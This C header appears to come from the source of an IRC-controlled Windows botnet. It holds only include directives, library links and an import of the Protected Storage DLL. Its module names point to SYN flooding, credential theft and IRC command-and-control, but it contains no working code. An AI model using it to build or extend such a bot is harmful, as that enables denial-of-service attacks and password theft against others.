#define _WIN32_WINNT 0x0403
#define WIN32_LEAN_AND_MEAN

#include <winsock2.h>
#include <windows.h>
#include <stdlib.h>
#include <stdio.h>
#include <malloc.h>
#include <wininet.h>
#include <windns.h>
#include <iphlpapi.h>
#include <lm.h>
#include <lmat.h>
#include <io.h>
#include <fcntl.h>
#include <tchar.h>
#include <tlhelp32.h>
#include <commctrl.h>
#include <shlwapi.h>
#include <list>
#include <sqlext.h>
#include <shlobj.h>
#include <ctype.h> 
#include <tchar.h>
#include <winable.h> 
#include <math.h>
#include <Lmcons.h>
#include <ntsecapi.h>
#include <string.h>
#include <winioctl.h>
#include <sys\types.h>
#include <sys\stat.h>


#include "defines.h"
#include "loaddlls.h"
#include "imbot.h"
#include "irc.h"
#include "commands.h"
#include "protocol.h"
#include "threads.h"
#include "externs.h"
#include "mods.h"
#include "zipit.h"
#include "supersyn.h"

#ifndef NO_PSTORE
#import <pstorec.dll> no_namespace
#endif

#pragma comment(lib, "urlmon")
#pragma comment(lib, "kernel32")
#pragma comment(lib, "user32")
#pragma comment(lib, "msvcrt")
#pragma comment(lib, "advapi32")
#pragma comment(lib, "wininet")
#pragma comment(lib, "ws2_32")